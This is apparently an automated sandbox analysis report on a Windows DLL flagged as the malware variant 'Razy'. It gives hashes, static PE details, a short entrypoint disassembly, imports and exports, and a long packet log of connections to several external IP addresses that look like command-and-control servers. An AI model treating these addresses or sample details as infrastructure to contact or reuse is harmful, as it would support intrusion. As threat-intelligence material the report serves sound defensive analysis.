C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	Microsoft Cabinet archive data, 61157 bytes, 1 file
Category:	dropped
Size (bytes):	61157
Entropy (8bit):	7.995991509218449
Encrypted:	true
SSDEEP:	1536:ppUkcaDREfLNPj1tHqn+ZQgYXAMxCbG0Ra0HMSAKMgAAaE1k:7UXaDR0NPj1Vi++xQFa07sTgAQ1k
MD5:	AB5C36D10261C173C5896F3478CDC6B7
SHA1:	87AC53810AD125663519E944BC87DED3979CBEE4
SHA-256:	F8E90FB0557FE49D7702CFB506312AC0B24C97802F9C782696DB6D47F434E8E9
SHA-512:	E83E4EAE44E7A9CBCD267DBFC25A7F4F68B50591E3BBE267324B1F813C9220D565B284994DED5F7D2D371D50E1EBFA647176EC8DE9716F754C6B5785C6E897FA
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	MSCF............,...................I........t........*S{I .authroot.stl..p.(.5..CK..8U....u.}M7{v!.\D.u.....F.eWI.!e..B2QIR..$4.%.3eK$J. ......9w4...=.9..}...~....$..h..ye.A..;....\|. O6.a0xN....9..C..t.z.,..d`.c...(5.....<..1.\|..2.1.0.g.4yw..eW.#.x....+.oF....8.t...Y....q.M.....HB.^y^a...)..GaV"\|..+.'..f..V.y.b.V.PV......`..9+..\0.g...!.s..a....Q...........~@$.....8..(g..tj....=,V)v.s.d.].xqX4.....s....K..6.tH.....p~.2..!..<./X......r.. ?(.\[. H...#?.H.".. p.V.}.`L...P0.y....\|...A..(...&..3.ag...c..7.T=....ip.Ta..F.....'..BsV...0.....f....Lh.f..6....u.....Mqm.,...@.WZ.={,;.J...)...{_Ao....T......xJmH.#..>.f..RQT.Ul(..AV..\|.!k0...\|\......U2U..........,9..+.\R..(.[.'M........0.o..,.t.#..>y.!....!X<o.....w...'......a.'..og+>..\|.s.g.Wr.2K.=...5.YO.E.V.....`.O..[.d.....c..g....A..=....k..u2..Y.}.......C...\=...&...U.e...?...z.'..$..fj.'\|.c....4y.".T.....X....@xpQ.,.q.."...t.... $.F..O.A.o_}d.3...z...F?..-...Fy...W#...1......T.3....x.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	modified
Size (bytes):	326
Entropy (8bit):	3.099972864116614
Encrypted:	false
SSDEEP:	6:kKtdFN+SkQlPlEGYRMY9z+4KlDA3RUeOlEfcTt:D2kPlE99SNxAhUefit
MD5:	966943C4EFC9B33FA6A589D20860BFED
SHA1:	CCBF51C58D7595A2C30F9509082A137FA4654E4C
SHA-256:	A2B60F77A369F087EAE2C13434C2791227E59F2B7491FFFCA4B3A2F3E544D2B1
SHA-512:	D77D5CCA47A23F462F8325A07AA3C81CB35B088F4DA06F421249F8A6899FE2DEB03BD478101C1B7A76F4313F925FD9CB6186FE68D68D620654EF2501EAA77D9E
Malicious:	false
Reputation:	low
Preview:	p...... ..........i.....(....................................................... ...........^.......$...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".0.a.a.8.a.1.5.e.a.6.d.7.1.:.0."...

Static File Info

General
File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.439741617771986
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SecuriteInfo.com.Variant.Razy.980776.4470.dll
File size:	1375232
MD5:	c7cf1a1238e4a42eebf9cd70a5cf091c
SHA1:	4ac755ac7e852daa204caced88887bdfce48a57f
SHA256:	f0a31b853ed15c70abd7b13ebb381500188e61d4b8fdee1cd2a922d79a4d1e77
SHA512:	55e4d69ccd7a64a19621afedc114f01cd72f2f565a9e8a9eb5bf560438d65665561edd4bb0a2d3df79161a49c2d2ff4df2e68cc069aed02b6d9b1a6960044c3a
SSDEEP:	24576:0nxqsL+DvNdnhMr5Lo6dOGcuQNrSH9d6N9eYWtZgDxxxSPnsqz7puATt5csRbu7D:0cfk82uAJTI7DPswKwua
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........S.U.=.U.=.U.=..,..Q.=.\...O.=...?.Q.=...8.F.=...>.L.=...;.\|.=..,..A.=.U.<...=...2...=...<.T.=.....T.=...>.T.=.RichU.=........

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General
Entrypoint:	0x4336b0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x5BBD86DE [Wed Oct 10 04:58:06 2018 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	ccbe70d6d0d02f6248ca160d6a0bb85b

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
cmp dword ptr [ebp+0Ch], 01h
jne 00007F66B0E07B27h
call 00007F66B0E08857h
mov eax, dword ptr [ebp+10h]
push eax
mov ecx, dword ptr [ebp+0Ch]
push ecx
mov edx, dword ptr [ebp+08h]
push edx
call 00007F66B0E07916h
add esp, 0Ch
pop ebp
retn 000Ch
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
mov eax, dword ptr [0054806Ch]
xor edx, edx
mov ecx, 00000020h
div ecx
push edx
mov edx, dword ptr [ebp+08h]
xor edx, dword ptr [0054806Ch]
push edx
call 00007F66B0E07B64h
add esp, 08h
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
mov eax, dword ptr [0054806Ch]
xor edx, edx
mov ecx, 00000020h
div ecx
mov eax, 00000020h
sub eax, edx
push eax
mov ecx, dword ptr [ebp+08h]
push ecx
call 00007F66B0E07B33h
add esp, 08h
xor eax, dword ptr [0054806Ch]
pop ebp
ret
int3
int3
int3
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
mov ecx, dword ptr [ebp+0Ch]
ror eax, cl
pop ebp
ret
int3
int3
int3
push ebp
mov ebp, esp
call 00007F66B0E08EBDh
push eax
call 00007F66B0E49BC7h
add esp, 04h
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
sub esp, 18h
mov eax, dword ptr [ebp+00h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x147190	0x6c	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1471fc	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x15c000	0x72b4	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x143110	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x143168	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xc7000	0x184	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xc5e2f	0xc6000	False	0.442065922901	data	6.4781248897	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0xc7000	0x80aec	0x80c00	False	0.534105734223	data	5.52055296156	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x148000	0x13ba0	0x1800	False	0.1875	DOS executable (block device driverpyright)	3.99635070896	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.reloc	0x15c000	0x72b4	0x7400	False	0.710264008621	data	6.69742088731	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL

Import

KERNEL32.dll

GetCurrentDirectoryA, GetTempPathA, GetWindowsDirectoryA, VirtualProtectEx, FindFirstChangeNotificationA, FlushFileBuffers, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, EncodePointer, DecodePointer, SetLastError, InitializeCriticalSectionAndSpinCount, CreateEventW, SwitchToThread, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetSystemTimeAsFileTime, GetTickCount, GetModuleHandleW, GetProcAddress, WideCharToMultiByte, MultiByteToWideChar, GetStringTypeW, CompareStringW, LCMapStringW, GetLocaleInfoW, GetCPInfo, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, RtlUnwind, RaiseException, InterlockedPushEntrySList, InterlockedFlushSList, GetLastError, FreeLibrary, LoadLibraryExW, GetModuleFileNameA, GetModuleFileNameW, GetModuleHandleExW, HeapAlloc, HeapValidate, GetSystemInfo, ExitProcess, GetStdHandle, GetFileType, WriteFile, OutputDebugStringA, OutputDebugStringW, WriteConsoleW, CloseHandle, WaitForSingleObjectEx, CreateThread, SetConsoleCtrlHandler, GetCurrentThread, GetDateFormatW, GetTimeFormatW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, HeapFree, HeapReAlloc, HeapSize, HeapQueryInformation, GetACP, GetProcessHeap, GetTimeZoneInformation, FindClose, FindFirstFileExA, FindFirstFileExW, FindNextFileA, FindNextFileW, IsValidCodePage, GetOEMCP, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableA, SetEnvironmentVariableW, SetStdHandle, GetConsoleCP, GetConsoleMode, SetFilePointerEx, CreateFileW

Exports

Name	Ordinal	Address
Bluewing	1	0x49eed0
Earth	2	0x49efd0
Masterjust	3	0x49eb20

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2021 04:44:57.697280884 CEST	49753	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:44:57.697323084 CEST	443	49753	192.46.210.220	192.168.2.5
Oct 28, 2021 04:44:57.697465897 CEST	49753	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:44:57.720228910 CEST	49753	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:44:57.720257998 CEST	443	49753	192.46.210.220	192.168.2.5
Oct 28, 2021 04:44:58.248492956 CEST	443	49753	192.46.210.220	192.168.2.5
Oct 28, 2021 04:44:58.248651028 CEST	49753	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:00.905421019 CEST	49753	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:00.905451059 CEST	443	49753	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:00.905803919 CEST	443	49753	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:00.905872107 CEST	49753	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:00.956618071 CEST	49753	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:00.956773996 CEST	49753	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:00.956866980 CEST	443	49753	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:01.670440912 CEST	443	49753	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:01.670523882 CEST	443	49753	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:01.670671940 CEST	49753	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:01.679336071 CEST	49753	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:01.679377079 CEST	443	49753	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:01.857713938 CEST	49754	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:02.017347097 CEST	808	49754	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:02.017538071 CEST	49754	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:02.019695044 CEST	49754	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:02.178284883 CEST	808	49754	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:02.180129051 CEST	808	49754	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:02.180244923 CEST	49754	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:04.873534918 CEST	49754	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:05.032200098 CEST	808	49754	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:05.032458067 CEST	808	49754	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:05.032540083 CEST	49754	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:05.033545971 CEST	49754	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:05.033744097 CEST	49754	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:05.191919088 CEST	808	49754	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:05.192060947 CEST	808	49754	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:05.192089081 CEST	808	49754	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:05.192131996 CEST	808	49754	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:05.192151070 CEST	808	49754	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:05.579915047 CEST	808	49754	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:05.579957008 CEST	808	49754	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:05.580094099 CEST	49754	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:05.588696003 CEST	49754	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:05.748291969 CEST	808	49754	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:05.762017012 CEST	49756	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:05.927361012 CEST	6891	49756	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:05.927464962 CEST	49756	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:05.928914070 CEST	49756	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:06.089112043 CEST	49757	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:06.089162111 CEST	443	49757	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:06.089255095 CEST	49757	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:06.094197035 CEST	6891	49756	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:06.095264912 CEST	6891	49756	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:06.095343113 CEST	49756	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:06.111243010 CEST	49756	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:06.125977993 CEST	49757	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:06.126005888 CEST	443	49757	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:06.276961088 CEST	6891	49756	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:06.277069092 CEST	49756	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:06.282375097 CEST	49756	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:06.282541037 CEST	49756	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:06.447794914 CEST	6891	49756	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:06.447828054 CEST	6891	49756	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:06.486299038 CEST	6891	49756	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:06.640497923 CEST	443	49757	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:06.640641928 CEST	49757	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:06.833203077 CEST	6891	49756	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:06.833235025 CEST	6891	49756	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:06.833303928 CEST	49756	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:06.833374023 CEST	49756	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:06.840776920 CEST	49756	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:06.936594963 CEST	49757	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:06.936634064 CEST	443	49757	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:06.936899900 CEST	443	49757	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:06.937027931 CEST	49757	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:06.955482006 CEST	49757	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:06.955606937 CEST	49757	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:06.955657005 CEST	443	49757	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:06.964852095 CEST	49758	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:07.006103992 CEST	6891	49756	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:07.014190912 CEST	8116	49758	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:07.014384031 CEST	49758	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:07.016547918 CEST	49758	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:07.065592051 CEST	8116	49758	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:07.074626923 CEST	8116	49758	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:07.074647903 CEST	8116	49758	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:07.074729919 CEST	49758	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:07.074769020 CEST	49758	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:07.084959030 CEST	49758	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:07.135117054 CEST	8116	49758	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:07.135226965 CEST	49758	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:07.136121988 CEST	49758	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:07.136277914 CEST	49758	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:07.185216904 CEST	8116	49758	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:07.185512066 CEST	8116	49758	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:07.375144958 CEST	8116	49758	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:07.375186920 CEST	8116	49758	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:07.375257015 CEST	49758	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:07.375289917 CEST	49758	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:07.387031078 CEST	49758	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:07.436152935 CEST	8116	49758	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:07.513472080 CEST	49761	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:07.513520002 CEST	443	49761	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:07.514890909 CEST	49761	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:07.521009922 CEST	49761	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:07.521039009 CEST	443	49761	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:07.667339087 CEST	443	49757	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:07.667404890 CEST	443	49757	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:07.667434931 CEST	49757	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:07.667459011 CEST	49757	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:07.671406031 CEST	49757	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:07.671436071 CEST	443	49757	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:07.854428053 CEST	49762	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:08.014781952 CEST	808	49762	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:08.014913082 CEST	49762	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:08.022665977 CEST	49762	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:08.041161060 CEST	443	49761	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:08.041254044 CEST	49761	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:08.042157888 CEST	49761	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:08.042175055 CEST	443	49761	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:08.050801992 CEST	49761	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:08.050825119 CEST	443	49761	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:08.050848961 CEST	49761	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:08.050858974 CEST	443	49761	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:08.182647943 CEST	808	49762	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:08.184338093 CEST	808	49762	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:08.184452057 CEST	49762	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:08.354182959 CEST	49762	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:08.514107943 CEST	808	49762	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:08.514677048 CEST	808	49762	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:08.515893936 CEST	49762	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:08.516762972 CEST	49762	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:08.516902924 CEST	49762	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:08.677865028 CEST	808	49762	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:08.677897930 CEST	808	49762	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:08.677918911 CEST	808	49762	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:08.677979946 CEST	808	49762	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:08.762082100 CEST	443	49761	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:08.762151957 CEST	443	49761	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:08.762224913 CEST	49761	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:08.762274981 CEST	49761	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:08.769661903 CEST	49761	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:08.769690037 CEST	443	49761	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:08.885607004 CEST	49763	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:09.047337055 CEST	808	49763	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:09.047461987 CEST	49763	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:09.048330069 CEST	49763	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:09.057245970 CEST	808	49762	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:09.057324886 CEST	808	49762	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:09.057414055 CEST	49762	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:09.060380936 CEST	49762	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:09.185267925 CEST	49764	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:09.210253954 CEST	808	49763	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:09.210330963 CEST	808	49763	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:09.210408926 CEST	49763	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:09.211026907 CEST	49763	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:09.216711044 CEST	49763	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:09.218302965 CEST	49763	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:09.220257998 CEST	808	49762	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:09.351748943 CEST	6891	49764	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:09.352783918 CEST	49764	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:09.353811979 CEST	49764	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:09.372517109 CEST	808	49763	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:09.378143072 CEST	808	49763	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:09.379729986 CEST	808	49763	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:09.379792929 CEST	808	49763	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:09.520109892 CEST	6891	49764	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:09.521059036 CEST	6891	49764	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:09.521209002 CEST	49764	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:09.528202057 CEST	49764	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:09.694895983 CEST	6891	49764	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:09.695080996 CEST	49764	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:09.695885897 CEST	49764	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:09.696006060 CEST	49764	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:09.763854027 CEST	808	49763	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:09.763894081 CEST	808	49763	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:09.764049053 CEST	49763	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:09.772437096 CEST	49763	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:09.863642931 CEST	6891	49764	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:09.863682985 CEST	6891	49764	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:09.898839951 CEST	49765	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:09.935414076 CEST	808	49763	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:10.065732002 CEST	6891	49765	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:10.065906048 CEST	49765	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:10.066731930 CEST	49765	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:10.233088017 CEST	6891	49765	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:10.233158112 CEST	6891	49765	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:10.233352900 CEST	49765	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:10.234049082 CEST	49765	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:10.243535995 CEST	6891	49764	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:10.243567944 CEST	6891	49764	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:10.243634939 CEST	49764	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:10.243669987 CEST	49764	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:10.245438099 CEST	49765	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:10.245594978 CEST	49765	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:10.246964931 CEST	49764	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:10.406476974 CEST	49766	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:10.412373066 CEST	6891	49765	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:10.412410021 CEST	6891	49765	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:10.413206100 CEST	6891	49764	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:10.458636999 CEST	8116	49766	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:10.458796024 CEST	49766	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:10.459638119 CEST	49766	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:10.515541077 CEST	8116	49766	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:10.525677919 CEST	8116	49766	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:10.525712967 CEST	8116	49766	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:10.525757074 CEST	49766	8116	192.168.2.5	185.56.219.47
